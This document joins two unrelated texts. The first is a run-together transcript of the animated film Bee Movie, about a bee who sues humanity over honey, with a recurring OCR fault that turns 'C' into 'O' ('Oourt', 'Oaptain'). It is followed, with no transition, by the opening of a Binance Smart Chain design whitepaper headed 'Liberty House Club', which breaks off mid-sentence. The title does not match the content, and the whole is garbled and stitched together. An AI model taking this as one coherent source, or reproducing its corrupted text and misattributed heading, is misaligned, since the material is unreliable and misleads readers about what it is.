Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.
# Liberty House Club **A Parallel Binance Chain to Enable Smart Contracts** _NOTE: This document is under development. Please check regularly for updates!_ ## Table of Contents - [Motivation](#motivation) - [Design Principles](#design-principles) - [Consensus and Validator Quorum](#consensus-and-validator-quorum) * [Proof of Staked Authority](#proof-of-staked-authority) * [Validator Quorum](#validator-quorum) * [Security and Finality](#security-and-finality) * [Reward](#reward) - [Token Economy](#token-economy) * [Native Token](#native-token) * [Other Tokens](#other-tokens) - [Cross-Chain Transfer and Communication](#cross-chain-transfer-and-communication) * [Cross-Chain Transfer](#cross-chain-transfer) * [BC to BSC Architecture](#bc-to-bsc-architecture) * [BSC to BC Architecture](#bsc-to-bc-architecture) * [Timeout and Error Handling](#timeout-and-error-handling) * [Cross-Chain User Experience](#cross-chain-user-experience) * [Cross-Chain Contract Event](#cross-chain-contract-event) - [Staking and Governance](#staking-and-governance) * [Staking on BC](#staking-on-bc) * [Rewarding](#rewarding) * [Slashing](#slashing) - [Relayers](#relayers) * [BSC Relayers](#bsc-relayers) * [Oracle Relayers](#oracle-relayers) - [Outlook](#outlook) # Motivation After its mainnet community [launch](https://www.binance.com/en/blog/327334696200323072/Binance-DEX-Launches-on-Binance-Chain-Invites-Further-Community-Development) in April 2019, [Binance Chain](https://www.binance.org) has exhibited its high speed and large throughput design. Binance Chain’s primary focus, its native [decentralized application](https://en.wikipedia.org/wiki/Decentralized_application) (“dApp”) [Binance DEX](https://www.binance.org/trade), has demonstrated its low-latency matching with large capacity headroom by handling millions of trading volume in a short time. Flexibility and usability are often in an inverse relationship with performance. The concentration on providing a convenient digital asset issuing and trading venue also brings limitations. Binance Chain's most requested feature is the programmable extendibility, or simply the [Smart Contract](https://en.wikipedia.org/wiki/Smart_contract) and Virtual Machine functions. Digital asset issuers and owners struggle to add new decentralized features for their assets or introduce any sort of community governance and activities. Despite this high demand for adding the Smart Contract feature onto Binance Chain, it is a hard decision to make. The execution of a Smart Contract may slow down the exchange function and add non-deterministic factors to trading. If that compromise could be tolerated, it might be a straightforward idea to introduce a new Virtual Machine specification based on [Tendermint](https://tendermint.com/core/), based on the current underlying consensus protocol and major [RPC](https://docs.binance.org/api-reference/node-rpc.html) implementation of Binance Chain. But all these will increase the learning requirements for all existing dApp communities, and will not be very welcomed. We propose a parallel blockchain of the current Binance Chain to retain the high performance of the native DEX blockchain and to support a friendly Smart Contract function at the same time. # Design Principles After the creation of the parallel blockchain into the Binance Chain ecosystem, two blockchains will run side by side to provide different services. The new parallel chain will be called “**Binance Smart Chain**” (short as “**BSC**” for the below sections), while the existing mainnet remains named “**Binance Chain**” (short as “**BC**” for the below sections). Here are the design principles of **BSC**: 1. **Standalone Blockchain**: technically, BSC is a standalone blockchain, instead of a layer-2 solution. Most BSC fundamental technical and business functions should be self-contained so that it can run well even if the BC stopped for a short period. 2. **Ethereum Compatibility**: The first practical and widely-used Smart Contract platform is Ethereum. To take advantage of the relatively mature applications and community, BSC chooses to be compatible with the existing Ethereum mainnet. This means most of the **dApps**, ecosystem components, and toolings will work with BSC and require zero or minimum changes; BSC node will require similar (or a bit higher) hardware specification and skills to run and operate. The implementation should leave room for BSC to catch up with further Ethereum upgrades. 3. **Staking Involved Consensus and Governance**: Staking-based consensus is more environmentally friendly and leaves more flexible option to the community governance. Expectedly, this consensus should enable better network performance over [proof-of-work](https://en.wikipedia.org/wiki/Proof_of_work) blockchain system, i.e., faster blocking time and higher transaction capacity. 4. **Native Cross-Chain Communication**: both BC and BSC will be implemented with native support for cross-chain communication among the two blockchains. The communication protocol should be bi-directional, decentralized, and trustless. It will concentrate on moving digital assets between BC and BSC, i.e., [BEP2](https://github.com/binance-chain/BEPs/blob/master/BEP2.md) tokens, and eventually, other BEP tokens introduced later. The protocol should care for the minimum of other items stored in the state of the blockchains, with only a few exceptions. # Consensus and Validator Quorum Based on the above design principles, the consensus protocol of BSC is to fulfill the following goals: 1. Blocking time should be shorter than Ethereum network, e.g. 5 seconds or even shorter. 2. It requires limited time to confirm the finality of transactions, e.g. around 1-min level or shorter. 3. There is no inflation of native token: BNB, the block reward is collected from transaction fees, and it will be paid in BNB. 4. It is compatible with Ethereum system as much as possible. 5. It allows modern [proof-of-stake](https://en.wikipedia.org/wiki/Proof_of_stake) blockchain network governance. ## Proof of Staked Authority Although Proof-of-Work (PoW) has been recognized as a practical mechanism to implement a decentralized network, it is not friendly to the environment and also requires a large size of participants to maintain the security. Ethereum and some other blockchain networks, such as [MATIC Bor](https://github.com/maticnetwork/bor), [TOMOChain](https://tomochain.com/), 